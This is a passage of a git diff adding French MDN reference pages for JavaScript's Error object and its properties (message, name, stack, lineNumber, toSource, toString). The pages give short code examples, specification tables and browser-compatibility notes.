+<pre class="brush: js notranslate">function CustomError(machin, message, nomFichier, numeroLigne) {
+  var instance = new Error(message, nomFichier, numeroLigne);
+  instance.name = 'CustomError';
+  instance.machin = machin;
+  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+  if(Error.captureStackTrace) {
+    Error.captureStackTrace(instance, CustomError);
+  }
+  return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+  constructor: {
+    value: Error,
+    enumerable: false,
+    writable: true,
+    configurable: true
+  }
+});
+
+if (Object.setPrototypeOf){
+  Object.setPrototypeOf(CustomError, Error);
+} else {
+  CustomError.__proto__ = Error;
+}
+
+
+try {
+  throw new CustomError('bidule', 'messageBidule');
+} catch(e){
+  console.log(e.name);       // CustomError
+  console.log(e.toto);       // bidule
+  console.log(e.message);    // messageBidule
+  console.log(e.lineNumber); // 29
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Instructions/throw", "throw")}}</li>
+ <li>{{jsxref("Instructions/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html b/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html
new file mode 100644
index 0000000000..8067f9d42e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html
@@ -0,0 +1,51 @@
+---
+title: Error.prototype.lineNumber
+slug: Web/JavaScript/Reference/Objets_globaux/Error/lineNumber
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong>lineNumber</strong></code> contient le numéro de la ligne qui a déclenché l'erreur dans le fichier.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lineNumber">Utiliser <code>lineNumber</code></h3>
+
+<pre class="brush: js">var e = new Error("Ne peut pas lire la donnée");
+throw e;
+console.log(e.lineNumber) // 2</pre>
+
+<h3 id="Alternative_en_utilisant_l'événement_error">Alternative en utilisant l'événement <code>error</code></h3>
+
+<pre class="brush: js">window.addEventListener("error", function (e) {
+ console.log(e.lineNumber); //5
+});
+var e = new Error('Ne peut pas lire la donnée');
+throw e;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Non standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.lineNumber")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/message/index.html b/files/fr/web/javascript/reference/objets_globaux/error/message/index.html
new file mode 100644
index 0000000000..e8a680a0b6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/message/index.html
@@ -0,0 +1,76 @@
+---
+title: Error.prototype.message
+slug: Web/JavaScript/Reference/Objets_globaux/Error/message
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/message
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>message</strong></code> est une description de l'erreur, écrite pour être lue par un humain.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété contient une brève description de l'erreur si elle est accessible, ou si elle a été définie. <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a> utilise intensivement la propriété <code>message</code> pour les erreurs d'exécution. La propriété <code>message</code>, combinée à la propriété {{jsxref("Error.name", "name")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.</p>
+
+<p>Par défaut, la propriété <code>message</code> est une chaine de caractères vide, mais ce comportement peut être remplacé pour une instance, en renseignant un message comme premier argument du constructeur {{jsxref("Error")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclencher_une_erreur_personnalisée">Déclencher une erreur personnalisée</h3>
+
+<pre class="brush: js">var e = new Error("Impossible de lire la donnée");
+// e.message est "Impossible de lire la donnée"
+throw e;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.message")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/name/index.html b/files/fr/web/javascript/reference/objets_globaux/error/name/index.html
new file mode 100644
index 0000000000..edbe9189ff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/name/index.html
@@ -0,0 +1,76 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Reference/Objets_globaux/Error/name
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>name</strong></code> est une chaîne de caractères représentant le nom du type d'erreur. La valeur initiale est "Error".</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Par défaut, les instances d'{{jsxref("Error")}} reçoivent le nom "Error". La propriété <code>name</code>, associée à la propriété {{jsxref("Error.message", "message")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclencher_une_erreur_personnalisée">Déclencher une erreur personnalisée</h3>
+
+<pre class="brush:js">var e = new Error("Donnée malformée"); // e.name est "Error"
+
+e.name = "ParseError";
+throw e;
+// e.toString() renverra "ParseError: Donnée malformée"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.name")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html
new file mode 100644
index 0000000000..26009e0be4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html
@@ -0,0 +1,114 @@
+---
+title: Error.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Error/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Error.prototype</strong></code> représente le prototype du constructeur {{jsxref("Error")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances d'{{jsxref("Error")}} et les instances des {{jsxref("Error", "erreurs non-génériques", "#Types_d'erreur_personnalis.C3.A9s", 1)}} héritent de {{jsxref("Error.prototype")}}. Comme pour tous les constructeurs, on pouvez utiliser le prototype du constructeur pour ajouter des propriétés ou méthodes à l'ensemble des instances créées avec ce constructeur.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<h3 id="Propriétés_standard">Propriétés standard</h3>
+
+<dl>
+ <dt>Error.prototype.constructor</dt>
+ <dd>La fonction créeant une instance du prototype.</dd>
+ <dt>{{jsxref("Error.prototype.message")}}</dt>
+ <dd>Le message de l'erreur.</dd>
+ <dt>{{jsxref("Error.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur.</dd>
+</dl>
+
+<h3 id="Extensions_spécifiques_à_une_implémentation">Extensions spécifiques à une implémentation</h3>
+
+<div>{{Non-standard_header}}</div>
+
+<h4 id="Microsoft">Microsoft</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.description")}}</dt>
+ <dd>Description de l'erreur. Similaire à {{jsxref("Error.message", "message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.number")}}</dt>
+ <dd>Numéro de l'erreur.</dd>
+</dl>
+
+<h4 id="Mozilla">Mozilla</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.fileName")}}</dt>
+ <dd>Chemin vers le fichier qui a déclenché l'erreur.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber")}}</dt>
+ <dd>Numéro de la ligne qui a déclenché l'erreur dans le fichier.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber")}}</dt>
+ <dd>Numéro de la colonne qui a déclenché l'erreur dans le fichier.</dd>
+ <dt>{{jsxref("Error.prototype.stack")}}</dt>
+ <dd>Pile d'appels.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource()")}} {{Non-standard_inline}}</dt>
+ <dd>Renvoie une chaine de caractères contenant le code source de l'objet <code>Error</code> ; cette valeur peut être utilisée pour créer un nouvel objet. Elle remplace la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaine de caractères représentant l'objet. Elle remplace la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype', 'Error')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html b/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html
new file mode 100644
index 0000000000..06c062dae2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html
@@ -0,0 +1,124 @@
+---
+title: Error.prototype.stack
+slug: Web/JavaScript/Reference/Objets_globaux/Error/Stack
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété non-standard <code><strong>stack</strong></code> des objets {{jsxref("Error")}} fournit une trace des fonctions qui ont été appelées, dans quel ordre, depuis quelle ligne de quel fichier, et avec quels arguments. La chaine de pile remonte des appels les plus récents jusqu'aux plus anciens, ramenant à l'appel original de la portée globale.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Chaque étape sera séparée par une nouvelle ligne, la première partie de la ligne étant le nom de la fonction (si ce n'est pas un appel depuis la portée globale), suivi du signe arobase (@), de l'emplacement du fichier (sauf quand la fonction est le constructeur d'erreur lorsque l'erreur est déclenchée), de deux-points, et, s'il y a un emplacement de fichier, du numéro de ligne. (Notez que l'objet {{jsxref("Error")}} possède aussi les propriétés <code>fileName</code>, <code>lineNumber</code> et <code>columnNumber</code> pour leur récupération à partir de l'erreur déclenchée (mais seulement l'erreur, et pas sa trace)).</p>
+
+<p>Notez que ceci est le format utilisé par Firefox. Il n'y a aucun formatage standard. Cependant Safari 6+ et Opera 12- utilisent un format très similaire. Les navigateurs utilisant le moteur JavaScript V8 (tel que Chrome, Opera 15+, Navigateur Android) et IE10+, utilisent un format différent (voir la documentation MSDN <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">error.stack</a>).</p>
+
+<p><strong>Valeurs des arguments dans la pile :</strong> avant Firefox 14 ({{bug("744842")}}), le nom d'une fonction étaient suivis par les valeurs des arguments converties en une chaine de caractères entre parenthèses, immédiatement avant le signe arobase (@). Tandis qu'un objet (ou un tableau, etc.) apparaissait sous la forme convertie <code>"[object Object]"</code>, et en tant que tel, ne pouvait pas être réévalué en les objets réels, les valeurs scalaires pouvaient être récupérées (bien qu'il soit plus facile — c'est toujours possible dans Firefox 14 — d'utiliser <code>arguments.callee.caller.arguments</code>, tout comme le nom de la fonction pouvait être récupéré avec <code>arguments.callee.caller.name</code>). <code>"undefined"</code> est listé comme <code>"(void 0)"</code>. Notez que si des arguments chaines de caractères étaient passés avec des valeurs comme <code>"@"</code>, <code>"("</code>, <code>")"</code> (ou si dans les noms de fichier), vous ne pouviez pas vous reposez facilement sur ceux-ci pour découper la ligne en les parties qui la composent. Par conséquent, dans Firefox 14 et ultérieur, ceci est moins un problème.</p>
+
+<p>Les différents navigateurs définissent cette valeur à différents instants. Par exemple, Firefox la définit lors de la création d'un objet {{jsxref("Error")}}, tandis que PhantomJS ne la définit que lors du déclenchement de l'{{jsxref("Error")}}, et la <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">documentation MSDN</a> semble correspondre à l'implémentation PhantomJS.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code HTML suivant démontre l'utilisation de la propriété <code>stack</code>.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE HTML&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;Exemple de Trace de Pile&lt;/title&gt;
+&lt;body&gt;
+    &lt;script&gt;
+        function trace() {
+            try {
+                throw new Error('monError');
+            }
+            catch(e) {
+                alert(e.stack);
+            }
+        }
+        function b() {
+            trace();
+        }
+        function a() {
+            b(3, 4, "\n\n", undefined, {});
+        }
+        a("premier appel, premierarg");
+    &lt;/script&gt;
+</pre>
+
+<p>En supposant que ce code a été enregistré comme <code>C:\exemple.html</code> sur un système de fichier Windows, il produira un message d'alerte dans une nouvelle fenêtre avec le texte suivant :</p>
+
+<p>À partir de Firefox 30 et ultérieur, ce message contiendra le numéro de colonne  ({{bug(762556)}}) :</p>
+
+<pre class="language-html">trace@file:///C:/exemple.html:9:17
+b@file:///C:/exemple.html:16:13
+a@file:///C:/exemple.html:19:13
+@file:///C:/exemple.html:21:9</pre>
+
+<p>De Firefox 14 à Firefox 29 :</p>
+
+<pre><samp>trace@file:///C:/exemple.html:9
+b@file:///C:/exemple.html:16
+a@file:///C:/exemple.html:19
+@file:///C:/exemple.html:21
+</samp></pre>
+
+<p>Firefox 13 et antérieur aurait produit à la place le texte suivant :</p>
+
+<pre><samp>Error("monError")@:0
+trace()@file:///C:/exemple.html:9
+b(3,4,"\n\n",(void 0),[object Object])@file:///C:/exemple.html:16
+a("premier appel, premierarg")@file:///C:/exemple.html:19
+@file:///C:/exemple.html:21
+</samp></pre>
+
+<h3 id="Pile_d'un_code_evalué">Pile d'un code evalué</h3>
+
+<p>À partir de Firefox 30 {{geckoRelease("30")}}, la pile d'erreur du code dans les appels à <code>Function()</code> et <code>eval()</code> produit désormais des piles avec des informations plus détaillées sur les numéros de lignes et de colonnes dans ces appels. Les appels de fonction sont indiqués par <code>"&gt; Function"</code> et les appels d'<code>eval</code> par <code>"&gt; eval"</code>. Voir {{bug("332176")}}.</p>
+
+<pre class="brush: js">try {
+  new Function('throw new Error()')();
+} catch (e) {
+  console.log(e.stack);
+}
+
+// anonymous@file:///C:/exemple.html line 7 &gt; Function:1:1
+// @file:///C:/exemple.html:7:6
+
+try {
+  eval("eval('ÉCHEC')");
+} catch (x) {
+  console.log(x.stack);
+}
+
+// @file:///C:/exemple.html line 7 &gt; eval line 1 &gt; eval:1:1
+// @file:///C:/exemple.html line 7 &gt; eval:1:1
+// @file:///C:/exemple.html:7:6</pre>
+
+<p>Vous pouvez aussi utiliser la directive <code>//# sourceURL</code> pour nommer une source eval. Voir aussi <a href="https://developer.mozilla.org/fr-FR/docs/Tools/Debugger/How_to/Debug_eval_sources">Déboguer des sources évaluées</a> dans les docs <a href="https://developer.mozilla.org/fr-FR/docs/Tools/Debugger">Débogueur</a>, ainsi que ce <a href="http://fitzgeraldnick.com/weblog/59/">blog post</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Non-standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("javascript.builtins.Error.stack")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr-FR/docs/Components.stack">Components.stack</a></li>
+ <li>Projets externes : <a class="link-https" href="https://github.com/csnover/TraceKit/">TraceKit</a> et <a class="link-https" href="https://github.com/eriwen/javascript-stacktrace">javascript-stacktrace</a></li>
+ <li>MSDN : docs <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">error.stack</a></li>
+ <li><a href="https://github.com/v8/v8/wiki/Stack%20Trace%20API">Overview of the V8 JavaScript stack trace API</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html
new file mode 100644
index 0000000000..701364ed74
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html
@@ -0,0 +1,55 @@
+---
+title: Error.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Error/toSource
+tags:
+  - Error
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> renvoie le code source qui peut générer la même erreur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>e</em>.toSource()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui contient le code source de l'erreur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Appeler la méthode <code>toSource()</code> d'une instance {{jsxref("Error")}} (<a href="/fr/docs/JavaScript/Reference/Objets_globaux/Error#Error_types">Erreurs natives</a> incluses) renverra le code source de l'erreur. Cette chaine de caractères peut être évaluée afin de créer un objet similaire. La chaine de caractères contenant le code source suit la structure du constructeur <code>Error</code>. Par exemple :</p>
+
+<pre class="brush: js">(new name(message ,fileName, lineNumber))</pre>
+
+<p>où ces attributs correspondent aux propriétés respectives de l'instance <code>Error</code>.</p>
+
+<div class="note"><strong>Note :</strong> Les propriétés utilisées par la méthode <code>toSource()</code> dans la création de cette chaine de caractères sont mutables et peuvent ne pas refléter correctement la fonction utilisée pour créer une instance d'erreur ou le nom du fichier ou la ligne à laquelle s'est produite l'erreur originale.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucun standard. Implémentée dans JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.toSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html
new file mode 100644
index 0000000000..f117af3440
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html
@@ -0,0 +1,112 @@
+---
+title: Error.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Error/toString
+tags:
+  - Error
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une représentation de l'objet {{jsxref("Error")}} sous la forme d'une chaine de caractères.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>e</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant l'objet {{jsxref("Error")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Error")}} surcharge la méthode {{jsxref("Object.prototype.toString()")}} héritée par tous les objets. Sa sémantique est la suivante (en partant du principe que {{jsxref("Object")}} et {{jsxref("String")}} ont leurs valeurs originales) :</p>
+
+<pre class="brush:js">Error.prototype.toString = function () {
+  "use strict";
+
+  var obj = Object(this);
+  if (obj !== this)
+    throw new TypeError();
+
+  var name = this.name;
+  name = (name === undefined) ? "Error" : String(name);
+
+  var msg = this.message;
+  msg = (msg === undefined) ? "" : String(msg);
+
+  if (name === "")
+    return msg;
+  if (msg === "")
+    return name;
+
+  return name + ": " + msg;
+};
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var e = new Error("Erreur fatale");
+console.log(e.toString()); // "Error: Erreur fatale"
+
+e.name = undefined;
+console.log(e.toString()); // "Error: Erreur fatale"
+
+e.name = "";
+console.log(e.toString()); // "Erreur fatale"
+
+e.message = undefined;
+console.log(e.toString()); // ""
+
+e.name = "salut";
+console.log(e.toString()); // "salut"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.4', 'Error.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.toString")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/escape/index.html b/files/fr/web/javascript/reference/objets_globaux/escape/index.html
new file mode 100644
index 0000000000..e66c4ab923
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/escape/index.html
@@ -0,0 +1,97 @@
+---
+title: escape()
+slug: Web/JavaScript/Reference/Objets_globaux/escape
+tags:
+  - Deprecated
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/escape
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div class="warning"><strong>Attention !</strong> Bien que <code>escape(…)</code> ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">l'Annexe B</a> du standard ECMA-262 qui commence par :
+
